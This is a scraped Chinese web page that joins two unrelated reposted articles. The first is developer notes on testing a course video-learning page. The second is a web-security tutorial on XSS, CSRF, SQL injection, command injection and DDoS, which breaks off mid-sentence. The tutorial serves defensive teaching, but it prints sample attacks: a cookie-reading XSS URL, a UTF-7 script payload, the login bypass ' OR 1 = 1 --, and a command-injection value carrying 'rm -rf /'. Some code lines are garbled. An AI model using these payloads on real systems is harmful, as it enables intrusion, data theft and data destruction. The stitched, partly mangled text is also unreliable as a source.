1、如果传入的课程计划id为0则取出第一个课程计划id 在 created 钩子方法中完成 created(){//当前请求的urlthis.url = window.location//课程idthis.courseId = this.$route.params.courseId//章节idthis.chapter = this.$route.params.chapter//查询课程信息systemApi.course_view(this.courseId).then((view_course)=>{if(!view_course || !view_course[this.courseId]){this.$message.error("获取课程信息失败,请重新进入此页面!")return ;}let courseInfo = view_course[this.courseId]console.log(courseInfo)this.coursename = courseInfo.nameif(courseInfo.teachplan){console.log("准备开始播放视频")let teachplan = JSON.parse(courseInfo.teachplan);this.teachplanList = teachplan.children;//开始学习if(this.chapter == "0" || !this.chapter){//取出第一个教学计划this.chapter = this.getFirstTeachplan();console.log("第一个教学计划id为 ",this.chapter);this.study(this.chapter);}else{this.study(this.chapter);} }})}, 取出第一个章节 id,用户未输入课程计划 id 或者输入为 0 时,播放第一个。 //取出第一个章节getFirstTeachplan(){for(var i=0;i<this.teachplanList.length;i++){let firstTeachplan = this.teachplanList[i];//如果当前children存在,则取出第一个返回if(firstTeachplan.children && firstTeachplan.children.length>0){let secondTeachplan = firstTeachplan.children[0];return secondTeachplan.id;} }return ;}, 开始学习: //开始学习study(chapter){// 获取播放地址courseApi.get_media(this.courseId,chapter).then((res)=>{if(res.success){let fileUrl = sysConfig.videoUrl + res.fileUrl//播放视频this.playvideo(fileUrl)}else if(res.message){this.$message.error(res.message)}else{this.$message.error("播放视频失败,请刷新页面重试")} }).catch(res=>{this.$message.error("播放视频失败,请刷新页面重试")});}, 2、点击右侧课程章节切换播放 在原有代码基础上添加 click 事件,点击调用开始学习方法(study)。 <li v‐if="teachplan_first.children!=null" v‐for="(teachplan_second, index) inteachplan_first.children"><i class="glyphicon glyphicon‐check"></i><a :href="url" @click="study(teachplan_second.id)">{ {teachplan_second.pname} }</a></li> 3、地址栏路由url变更 这里需要注意一个问题,在用户点击课程章节切换播放时,地址栏的 url 也应该同步改变为当前所选择的课程计划 id 4、在线学习按钮 将 learnstatus 默认更改为 1,这样就能显示出马上学习的按钮,方便我们后续的集成测试。 文件路径为 xc-ui-pc-static-portal/include/course_detail_dynamic.html 部分代码块如下 <script>var body= new Vue({ //创建一个Vue的实例el: "body", //挂载点是id="app"的地方data: {editLoading: false,title:'测试',courseId:'',charge:'',//203001免费,203002收费learnstatus: 1 ,//课程状态,1:马上学习,2:立即报名、3:立即购买course:{},companyId:'template',company_stat:[],course_stat:{"s601001":"","s601002":"","s601003":""} }, 简单的测试 访问在线学习页面:http://ucenter.xuecheng.com//learning/课程id/课程计划id 通过 url 传入两个参数:课程id 和 课程计划id 如果没有课程计划则传入0 测试项目如下: 1、传入正确的课程id、课程计划id,自动播放本章节的视频 2、传入正确的课程id、课程计划id传入0,自动播放第一个视频 3、传入错误的课程id 或 课程计划id,提示错误信息。 4、通过右侧章节目录切换章节及播放视频。 访问: http://ucenter.xuecheng.com//learning/4028e58161bcf7f40161bcf8b77c0000/4028e58161bd18ea0161bd1f73190008 传入正确的课程id、课程计划id,自动播放本章节的视频 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ef0xxym7-1595567273153)(https://qnoss.codeyee.com/20200704_15/image17)] 传入正确的课程id、课程计划id传入0,自动播放第一个视频 访问 http://ucenter.xuecheng.com//learning/4028e58161bcf7f40161bcf8b77c0000/0 识别出第一个课程计划的 id 需要注意的是这里的 chapter 参数是我自己在 study 函数里加上去的,可以忽略。 传入错误的课程id或课程计划id,提示错误信息。 通过右侧章节目录切换章节及播放视频。 点击章节即可播放,但是点击制定章节后 url 没有发生改变,这个问题暂时还没有解决,关注笔记后面的内容。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TOGdxwb4-1595567273158)(https://qnoss.codeyee.com/20200704_15/image20)] 完整的测试 准备工作 启动 RabbitMQ,启动 Logstash、ElasticSearch 建议把所有后端服务都开起来 启动 前端静态门户、启动 nginx 、启动课程管理前端 我们整理一下测试的流程 上传两个媒资视频文件,用于测试 进入到课程管理,为课程计划选择媒资信息 发布课程,等待 logstash 将数据采集到 ElasticSearch 的索引库中 进入学成网主页,点击课程,进入到搜索门户页面 搜索课程,进入到课程详情页面 点击开始学习,进入到课程学习页面,选择课程计划中的一个章节进行学习。 1、上传文件 首先我们使用之前开发的媒资管理模块,上传两个视频文件用于测试。 第一个文件上传成功 一些问题 在上传第二个文件时,发生了错误,我们来检查一下问题出在了哪里 在媒体服务的控制台中可以看到,在 mergeChunks 方法在校验文件 md5 时候抛出了异常 我们在 MD5 校验这里打个断点,重新上传文件,分析一下问题所在。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OpEMZGI8-1595567273166)(https://qnoss.codeyee.com/20200704_15/image23)] 单步调试后发现,合并文件后的MD5值与用户上传的源文件值不相等 方案1:删除本地分块文件重新尝试上传 考虑到可能是在用户上传完 视频的分块文件时发生了一些问题,导致合并文件后与源文件的大小不等,导致MD5也不相同,这里我们把这个视频上传到本地的文件全部删除,在媒资上传页面重新上传文件。 对比所有分块文件的字节大小和本地源文件的大小,完全是相等的 删除所有文件后重新上传,md5值还是不等,考虑从调试一下文件合并的代码。 方案2:检查前端提交的MD5值是否正确 在查阅是否有其他的MD5值获取方案时,发现了一个使用 windows 本地命令获取文件MD5值的方法 certutil -hashfile .\19-在线学习接口-集成测试.avi md5 惊奇的发现,TM的原来是前端那边转换的MD5值不正确,后端这边是没有问题的。 从前面的图可以看出,本地和后端转换的都是以一个 f6f0 开头的MD5值 那么问题就出现在前端了,还需要花一些时间去分析一下,这里暂时就先告一段落,因为上传了几个文件测试中只有这一个文件出现了问题。 2、为课程计划选择媒资信息 进入到一个课程的管理页面 http://localhost:12000//course/manage/baseinfo/4028e58161bcf7f40161bcf8b77c0000 将刚才我们上传的媒资文件的信息和课程计划绑定 选择效果如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-epKaqzCD-1595567273178)(https://qnoss.codeyee.com/20200704_15/image29)] 2、发布课程,等待 logstash 从 course_pub 以及 teachplan_media_pub 表中采集数据到 ElasticSearch 当中 发布成功后,我们可以从 teachplan_media_pub 表中看到刚才我们发布的媒资信息 再观察 Logstash 的控制台,发现两个 Logstash 的实例都对更新的课程发布信息进行了采集 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hTUve2ik-1595567273183)(https://qnoss.codeyee.com/20200704_15/image32)] 3、前端门户测试 打开我们的门户主站 http://www.xuecheng.com/ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4wZe9R84-1595567273185)(https://qnoss.codeyee.com/20200704_15/image33)] 点击导航栏的课程,进入到我们的搜索门户页面 如果无法进入到搜索门户,请检查你的 xc-ui-pc-portal 前端工程是否已经启动 进入到搜索门户后,可以看到一些初始化时搜索的课程数据,默认是搜索第一页的数据,每页2个课程。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJ1AKoJb-1595567273187)(https://qnoss.codeyee.com/20200704_15/image34)] 我们可以测试搜索一下前面我们选择媒资信息时所用的课程 点击课程,进入到课程详情页面,然后再点击开始学习。 点击马上学习后,会进入到该课程的在线学习页面,默认自动播放我们第一个课程计划中的视频。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tcuLWnf2-1595567273193)(https://qnoss.codeyee.com/20200704_15/image37)] 我们可以在右侧的目录中选择第二个课程计划,会自动播放所选的课程计划所对应的媒资视频播放地址,该 播放地址正是我们刚才通过 Logstash 自动采集到 ElasticSearch 的索引信息,效果图如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cvi9Dr0Y-1595567273195)(https://qnoss.codeyee.com/20200704_15/image38)] 四、待完善的一些功能 课程发布前,校验课程计划里面是否包含二级课程计划 课程发布前,校验课程计划信息里面是否全部包含媒资信息 删除媒资信息,并且同步删除ES中的索引 在获取该课程的播放地址时校验用户的合法、 在线学习页面,点击右侧目录中的课程计划同时改变url中的课程计划地址 视频文件 19-在线学习接口-集成测试.avi 前端上传时提交的MD5值不正确 😁 认识作者 作者:👦 LCyee ,全干型代码🐕 自建博客:https://www.codeyee.com 记录学习以及项目开发过程中的笔记与心得,记录认知迭代的过程,分享想法与观点。 CSDN 博客:https://blog.csdn.net/codeyee 记录和分享一些开发过程中遇到的问题以及解决的思路。 欢迎加入微服务练习生的队伍,一起交流项目学习过程中的一些问题、分享学习心得等,不定期组织一起刷题、刷项目,共同见证成长。 本篇文章为转载内容。原文链接:https://blog.csdn.net/codeyee/article/details/107558901。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-16 12:41:01
74
转载
转载文章
...几个常见的web安全问题。 XSS 首先说下最常见的 XSS 漏洞,XSS (Cross Site Script),跨站脚本攻击,因为缩写和 CSS (Cascading Style Sheets) 重叠,所以只能叫 XSS。 XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。XSS 的攻击方式千变万化,但还是可以大致细分为几种类型。 非持久型 XSS 非持久型 XSS 漏洞,也叫反射型 XSS 漏洞,一般是通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,特有的恶意代码参数被 HTML 解析、执行。 非持久型 XSS 举一个例子,比如你的 Web 页面中包含有以下代码: Select your language:<select><script>document.write(''+ '<option value=1>'+ location.href.substring(location.href.indexOf('default=') + 8)+ '</option>');document.write('<option value=2>English</option>');</script></select> 攻击者可以直接通过 URL 类似:https://xx.com/xx?default=<script>alert(document.cookie)</script>) 注入可执行的脚本代码。 非持久型 XSS 漏洞攻击有以下几点特征: 即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据。 攻击者需要诱骗点击 反馈率低,所以较难发现和响应修复 盗取用户敏感保密信息 为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情: Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。 尽量不要从 URL,document.referrer,document.forms 等这种 DOM API 中获取数据直接渲染。 尽量不要使用 eval, new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),innerHTML,document.creteElement() 等可执行字符串的方法。 如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。 前端渲染的时候对任何的字段都需要做 escape 转义编码。 escape 转义的目的是将一些构成 HTML 标签的元素转义,比如 <,>,空格 等,转义成 <,>, 等显示转义字符。有很多开源的工具可以协助我们做 escape 转义。 持久型 XSS 持久型 XSS 漏洞,也被称为存储型 XSS 漏洞,一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。 主要注入页面方式和非持久型 XSS 漏洞类似,只不过持久型的不是来源于 URL,refferer,forms 等,而是来源于后端从数据库中读出来的数据。持久型 XSS 攻击不需要诱骗点击,黑客只需要在提交表单的地方完成注入即可,但是这种 XSS 攻击的成本相对还是很高。攻击成功需要同时满足以下几个条件: POST 请求提交表单后端没做转义直接入库。 后端从数据库中取出数据没做转义直接输出给前端。 前端拿到后端数据没做转义直接渲染成 DOM。 持久型 XSS 有以下几个特点: 持久性,植入在数据库中 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡。 盗取用户敏感私密信息 为了防止持久型 XSS 漏洞,需要前后端共同努力: 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。 后端在输出给前端数据统一进行转义处理。 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。 基于字符集的 XSS 其实现在很多的浏览器以及各种开源的库都专门针对了 XSS 进行转义处理,尽量默认抵御绝大多数 XSS 攻击,但是还是有很多方式可以绕过转义规则,让人防不胜防。比如「基于字符集的 XSS 攻击」就是绕过这些转义处理的一种攻击方式,比如有些 Web 页面字符集不固定,用户输入非期望字符集的字符,有时会绕过转义过滤规则。 以基于 utf-7 的 XSS 为例 utf-7 是可以将所有的 unicode 通过 7bit 来表示的一种字符集 (但现在已经从 Unicode 规格中移除)。 这个字符集为了通过 7bit 来表示所有的文字, 除去数字和一部分的符号,其它的部分将都以 base64 编码为基础的方式呈现。 <script>alert("xss")</script>可以被解释为:+ADw-script+AD4-alert(+ACI-xss+ACI-)+ADw-/script+AD4- 可以形成「基于字符集的 XSS 攻击」的原因是由于浏览器在 meta 没有指定 charset 的时候有自动识别编码的机制,所以这类攻击通常就是发生在没有指定或者没来得及指定 meta 标签的 charset 的情况下。 所以我们有什么办法避免这种 XSS 呢? 记住指定 XML 中不仅要指定字符集为 utf-8,而且标签要闭合 牛文推荐:http://drops.wooyun.org/papers/1327 (这个讲的很详细) 基于 Flash 的跨站 XSS 基于 Flash 的跨站 XSS 也是属于反射型 XSS 的一种,虽然现在开发 ActionScript 的产品线几乎没有了,但还是提一句吧,AS 脚本可以接受用户输入并操作 cookie,攻击者可以配合其他 XSS(持久型或者非持久型)方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互,攻击者会通过恶意的 XSS 注入篡改参数,窃取并操作cookie。 避免方法: 严格管理 cookie 的读写权限 对 Flash 能接受用户输入的参数进行过滤 escape 转义处理 未经验证的跳转 XSS 有一些场景是后端需要对一个传进来的待跳转的 URL 参数进行一个 302 跳转,可能其中会带有一些用户的敏感(cookie)信息。如果服务器端做302 跳转,跳转的地址来自用户的输入,攻击者可以输入一个恶意的跳转地址来执行脚本。 这时候需要通过以下方式来防止这类漏洞: 对待跳转的 URL 参数做白名单或者某种规则过滤 后端注意对敏感信息的保护, 比如 cookie 使用来源验证。 CSRF CSRF(Cross-Site Request Forgery),中文名称:跨站请求伪造攻击 那么 CSRF 到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过 QQ 等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使 Web 应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个 QQ 好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 所以遇到 CSRF 攻击时,将对终端用户的数据和操作指令构成严重的威胁。当受攻击的终端用户具有管理员帐户的时候,CSRF 攻击将危及整个 Web 应用程序。 CSRF 原理 下图大概描述了 CSRF 攻击的原理,可以理解为有一个小偷在你配钥匙的地方得到了你家的钥匙,然后拿着要是去你家想偷什么偷什么。 csrf原理 完成 CSRF 攻击必须要有三个条件: 用户已经登录了站点 A,并在本地记录了 cookie 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。 站点 A 没有做任何 CSRF 防御 你也许会问:「如果我不满足以上三个条件中的任意一个,就不会受到 CSRF 的攻击」。其实可以这么说的,但你不能保证以下情况不会发生: 你不能保证你登录了一个网站后,不再打开一个 tab 页面并访问另外的网站,特别现在浏览器都是支持多 tab 的。 你不能保证你关闭浏览器了后,你本地的 cookie 立刻过期,你上次的会话已经结束。 上图中所谓的攻击网站 B,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 预防 CSRF CSRF 的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的 CSRF 防御也都在服务端进行。服务端的预防 CSRF 攻击的方式方法有多种,但思路上都是差不多的,主要从以下两个方面入手: 正确使用 GET,POST 请求和 cookie 在非 GET 请求中增加 token 一般而言,普通的 Web 应用都是以 GET、POST 请求为主,还有一种请求是 cookie 方式。我们一般都是按照如下规则设计应用的请求: GET 请求常用在查看,列举,展示等不需要改变资源属性的时候(数据库 query 查询的时候) POST 请求常用在 From 表单提交,改变一个资源的属性或者做其他一些事情的时候(数据库有 insert、update、delete 的时候) 当正确的使用了 GET 和 POST 请求之后,剩下的就是在非 GET 方式的请求中增加随机数,这个大概有三种方式来进行: 为每个用户生成一个唯一的 cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的 cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的 cookie 很容易由于网站的 XSS 漏洞而被盗取,所以这个方案必须要在没有 XSS 的情况下才安全。 每个 POST 请求使用验证码,这个方案算是比较完美的,但是需要用户多次输入验证码,用户体验比较差,所以不适合在业务中大量运用。 渲染表单的时候,为每一个表单包含一个 csrfToken,提交表单的时候,带上 csrfToken,然后在后端做 csrfToken 验证。 CSRF 的防御可以根据应用场景的不同自行选择。CSRF 的防御工作确实会在正常业务逻辑的基础上带来很多额外的开发量,但是这种工作量是值得的,毕竟用户隐私以及财产安全是产品最基础的根本。 SQL 注入 SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 很多 Web 开发者没有意识到 SQL 查询是可以被篡改的,从而把 SQL 查询当作可信任的命令。殊不知,SQL 查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过 SQL 查询去运行主机系统级的命令。 SQL 注入原理 下面将通过一些真实的例子来详细讲解 SQL 注入的方式的原理。 考虑以下简单的管理员登录表单: <form action="/login" method="POST"><p>Username: <input type="text" name="username" /></p><p>Password: <input type="password" name="password" /></p><p><input type="submit" value="登陆" /></p></form> 后端的 SQL 语句可能是如下这样的: let querySQL = SELECT FROM userWHERE username='${username}'AND psw='${password}'; // 接下来就是执行 sql 语句… 目的就是来验证用户名和密码是不是正确,按理说乍一看上面的 SQL 语句也没什么毛病,确实是能够达到我们的目的,可是你只是站在用户会老老实实按照你的设计来输入的角度来看问题,如果有一个恶意攻击者输入的用户名是 zoumiaojiang’ OR 1 = 1 --,密码随意输入,就可以直接登入系统了。WFT! 冷静下来思考一下,我们之前预想的真实 SQL 语句是: SELECT FROM user WHERE username='zoumiaojiang' AND psw='mypassword' 可以恶意攻击者的奇怪用户名将你的 SQL 语句变成了如下形式: SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 --' AND psw='xxxx' 在 SQL 中,-- 是注释后面的内容的意思,所以查询语句就变成了: SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 这条 SQL 语句的查询条件永远为真,所以意思就是恶意攻击者不用我的密码,就可以登录进我的账号,然后可以在里面为所欲为,然而这还只是最简单的注入,牛逼的 SQL 注入高手甚至可以通过 SQL 查询去运行主机系统级的命令,将你主机里的内容一览无余,这里我也没有这个能力讲解的太深入,毕竟不是专业研究这类攻击的,但是通过以上的例子,已经了解了 SQL 注入的原理,我们基本已经能找到防御 SQL 注入的方案了。 如何预防 SQL 注入 防止 SQL 注入主要是不能允许用户输入的内容影响正常的 SQL 语句的逻辑,当用户的输入的信息将要用来拼接 SQL 语句的话,我们应该永远选择不相信,任何内容都必须进行转义过滤,当然做到这个还是不够的,下面列出防御 SQL 注入的几点注意事项: 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害 后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。 对进入数据库的特殊字符(’,",\,<,>,&,,; 等)进行转义处理,或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数。 mysql.query(SELECT FROM user WHERE username = ? AND psw = ?, [username, psw]); 在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等。 避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。 不要过于细化返回的错误信息,如果目的是方便调试,就去使用后端日志,不要在接口上过多的暴露出错信息,毕竟真正的用户不关心太多的技术细节,只要话术合理就行。 碰到要操作的数据库的代码,一定要慎重,小心使得万年船,多找几个人多来几次 code review,将问题都暴露出来,而且要善于利用工具,操作数据库相关的代码属于机密,没事不要去各种论坛晒自家站点的 SQL 语句,万一被人盯上了呢? 命令行注入 命令行注入漏洞,指的是攻击者能够通过 HTTP 请求直接侵入主机,执行攻击者预设的 shell 命令,听起来好像匪夷所思,这往往是 Web 开发者最容易忽视但是却是最危险的一个漏洞之一,看一个实例: 假如现在需要实现一个需求:用户提交一些内容到服务器,然后在服务器执行一些系统命令去产出一个结果返回给用户,接口的部分实现如下: // 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repoconst exec = require('mz/child_process').exec;let params = {/ 用户输入的参数 /};exec(git clone ${params.repo} /some/path); 这段代码确实能够满足业务需求,正常的用户也确实能从指定的 git repo 上下载到想要的代码,可是和 SQL 注入一样,这段代码在恶意攻击者眼中,简直就是香饽饽。 如果 params.repo 传入的是 https://github.com/zoumiaojiang/zoumiaojiang.github.io.git 当然没问题了。 可是如果 params.repo 传入的是 https://github.com/xx/xx.git && rm -rf / && 恰好你的服务是用 root 权限起的就惨了。 具体恶意攻击者能用命令行注入干什么也像 SQL 注入一样,手法是千变万化的,比如「反弹 shell 注入」等,但原理都是一样的,我们绝对有能力防止命令行注入发生。防止命令行注入需要做到以下几件事情: 后端对前端提交内容需要完全选择不相信,并且对其进行规则限制(比如正则表达式)。 在调用系统命令前对所有传入参数进行命令行参数转义过滤。 不要直接拼接命令语句,借助一些工具做拼接、转义预处理,例如 Node.js 的 shell-escape npm 包。 还是前面的例子,我们可以做到如下: const exec = require('mz/child_process').exec;// 借助 shell-escape npm 包解决参数转义过滤问题const shellescape = require('shell-escape');let params = {/ 用户输入的参数 /};// 先过滤一下参数,让参数符合预期if (!/正确的表达式/.test(params.repo)) {return;}let cmd = shellescape(['git','clone',params.repo,'/some/path']);// cmd 的值: git clone 'https://github.com/xx/xx.git && rm -rf / &&' /some/path// 这样就不会被注入成功了。exec(cmd); DDoS 攻击 DDoS 又叫分布式拒绝服务,全称 Distributed Denial of Service,其原理就是利用大量的请求造成资源过载,导致服务不可用,这个攻击应该不能算是安全问题,这应该算是一个另类的存在,因为这种攻击根本就是耍流氓的存在,「伤敌一千,自损八百」的行为。出于保护 Web App 不受攻击的攻防角度,还是介绍一下 DDoS 攻击吧,毕竟也是挺常见的。 DDoS 攻击可以理解为:「你开了一家店,隔壁家点看不惯,就雇了一大堆黑社会人员进你店里干坐着,也不消费,其他客人也进不来,导致你营业惨淡」。为啥说 DDoS 是个「伤敌一千,自损八百」的行为呢?毕竟隔壁店还是花了不少钱雇黑社会但是啥也没得到不是?DDoS 攻击的目的基本上就以下几个: 深仇大恨,就是要干死你 敲诈你,不给钱就干你 忽悠你,不买我防火墙服务就会有“人”继续干你 也许你的站点遭受过 DDoS 攻击,具体什么原因怎么解读见仁见智。DDos 攻击从层次上可分为网络层攻击与应用层攻击,从攻击手法上可分为快型流量攻击与慢型流量攻击,但其原理都是造成资源过载,导致服务不可用。 网络层 DDoS 网络层 DDos 攻击包括 SYN Flood、ACK Flood、UDP Flood、ICMP Flood 等。 SYN Flood 攻击 SYN flood 攻击主要利用了 TCP 三次握手过程中的 Bug,我们都知道 TCP 三次握手过程是要建立连接的双方发送 SYN,SYN + ACK,ACK 数据包,而当攻击方随意构造源 IP 去发送 SYN 包时,服务器返回的 SYN + ACK 就不能得到应答(因为 IP 是随意构造的),此时服务器就会尝试重新发送,并且会有至少 30s 的等待时间,导致资源饱和服务不可用,此攻击属于慢型 DDoS 攻击。 ACK Flood 攻击 ACK Flood 攻击是在 TCP 连接建立之后,所有的数据传输 TCP 报文都是带有 ACK 标志位的,主机在接收到一个带有 ACK 标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在,如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法,例如该数据包所指向的目的端口在本机并未开放,则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。 UDP Flood 攻击 UDP flood 攻击是由于 UDP 是一种无连接的协议,因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包,此种攻击属于大流量攻击。正常应用情况下,UDP 包双向流量会基本相等,因此发起这种攻击的攻击者在消耗对方资源的时候也在消耗自己的资源。 ICMP Flood 攻击 ICMP Flood 攻击属于大流量攻击,其原理就是不断发送不正常的 ICMP 包(所谓不正常就是 ICMP 包内容很大),导致目标带宽被占用,但其本身资源也会被消耗。目前很多服务器都是禁 ping 的(在防火墙在可以屏蔽 ICMP 包),因此这种攻击方式已经落伍。 网络层 DDoS 防御 网络层的 DDoS 攻击究其本质其实是无法防御的,我们能做得就是不断优化服务本身部署的网络架构,以及提升网络带宽。当然,还是做好以下几件事也是有助于缓解网络层 DDoS 攻击的冲击: 网络架构上做好优化,采用负载均衡分流。 确保服务器的系统文件是最新的版本,并及时更新系统补丁。 添加抗 DDos 设备,进行流量清洗。 限制同时打开的 SYN 半连接数目,缩短 SYN 半连接的 Timeout 时间。 限制单 IP 请求频率。 防火墙等防护设置禁止 ICMP 包等。 严格限制对外开放的服务器的向外访问。 运行端口映射程序或端口扫描程序,要认真检查特权端口和非特权端口。 关闭不必要的服务。 认真检查网络设备和主机/服务器系统的日志。只要日志出现漏洞或是时间变更,那这台机器就可能遭到了攻击。 限制在防火墙外与网络文件共享。这样会给黑客截取系统文件的机会,主机的信息暴露给黑客,无疑是给了对方入侵的机会。 加钱堆机器。。 报警。。 应用层 DDoS 应用层 DDoS 攻击不是发生在网络层,是发生在 TCP 建立握手成功之后,应用程序处理请求的时候,现在很多常见的 DDoS 攻击都是应用层攻击。应用层攻击千变万化,目的就是在网络应用层耗尽你的带宽,下面列出集中典型的攻击类型。 CC 攻击 当时绿盟为了防御 DDoS 攻击研发了一款叫做 Collapasar 的产品,能够有效的防御 SYN Flood 攻击。黑客为了挑衅,研发了一款 Challenge Collapasar 攻击工具(简称 CC)。 CC 攻击的原理,就是针对消耗资源比较大的页面不断发起不正常的请求,导致资源耗尽。因此在发送 CC 攻击前,我们需要寻找加载比较慢,消耗资源比较多的网页,比如需要查询数据库的页面、读写硬盘文件的等。通过 CC 攻击,使用爬虫对某些加载需要消耗大量资源的页面发起 HTTP 请求。 DNS Flood DNS Flood 攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层 DNS 服务器递归查询域名信息。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成 DNS 服务器解析域名超时。 根据微软的统计数据,一台 DNS 服务器所能承受的动态域名查询的上限是每秒钟 9000 个请求。而我们知道,在一台 P3 的 PC 机上可以轻易地构造出每秒钟几万个域名解析请求,足以使一台硬件配置极高的 DNS 服务器瘫痪,由此可见 DNS 服务器的脆弱性。 HTTP 慢速连接攻击 针对 HTTP 协议,先建立起 HTTP 连接,设置一个较大的 Conetnt-Length,每次只发送很少的字节,让服务器一直以为 HTTP 头部没有传输完成,这样连接一多就很快会出现连接耗尽。 应用层 DDoS 防御 判断 User-Agent 字段(不可靠,因为可以随意构造) 针对 IP + cookie,限制访问频率(由于 cookie 可以更改,IP 可以使用代理,或者肉鸡,也不可靠) 关闭服务器最大连接数等,合理配置中间件,缓解 DDoS 攻击。 请求中添加验证码,比如请求中有数据库操作的时候。 编写代码时,尽量实现优化,并合理使用缓存技术,减少数据库的读取操作。 加钱堆机器。。 报警。。 应用层的防御有时比网络层的更难,因为导致应用层被 DDoS 攻击的因素非常多,有时往往是因为程序员的失误,导致某个页面加载需要消耗大量资源,有时是因为中间件配置不当等等。而应用层 DDoS 防御的核心就是区分人与机器(爬虫),因为大量的请求不可能是人为的,肯定是机器构造的。因此如果能有效的区分人与爬虫行为,则可以很好地防御此攻击。 其他 DDoS 攻击 发起 DDoS 也是需要大量的带宽资源的,但是互联网就像森林,林子大了什么鸟都有,DDoS 攻击者也能找到其他的方式发起廉价并且极具杀伤力的 DDoS 攻击。 利用 XSS 举个例子,如果 12306 页面有一个 XSS 持久型漏洞被恶意攻击者发现,只需在春节抢票期间在这个漏洞中执行脚本使得往某一个小站点随便发点什么请求,然后随着用户访问的增多,感染用户增多,被攻击的站点自然就会迅速瘫痪了。这种 DDoS 简直就是无本万利,不用惊讶,现在大站有 XSS 漏洞的不要太多。 来自 P2P 网络攻击 大家都知道,互联网上的 P2P 用户和流量都是一个极为庞大的数字。如果他们都去一个指定的地方下载数据,成千上万的真实 IP 地址连接过来,没有哪个设备能够支撑住。拿 BT 下载来说,伪造一些热门视频的种子,发布到搜索引擎,就足以骗到许多用户和流量了,但是这只是基础攻击。 高级的 P2P 